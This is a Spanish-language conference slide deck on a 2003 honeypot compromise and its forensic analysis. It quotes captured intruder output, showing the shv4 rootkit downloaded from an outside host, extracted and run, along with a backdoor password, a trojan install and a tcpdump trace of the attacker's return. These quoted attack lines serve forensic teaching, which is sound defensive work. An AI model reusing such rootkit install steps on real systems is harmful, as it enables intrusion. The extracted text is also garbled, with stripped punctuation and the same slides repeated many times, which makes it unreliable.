bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 32: Demostracion Hacking Honeypot y Análisis Forense

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 33: Demostracion Hacking Honeypot y Análisis Forense

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 34: Demostracion Hacking Honeypot y Análisis Forense

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 35: Demostracion Hacking Honeypot y Análisis Forense

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 36: Demostracion Hacking Honeypot y Análisis Forense

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

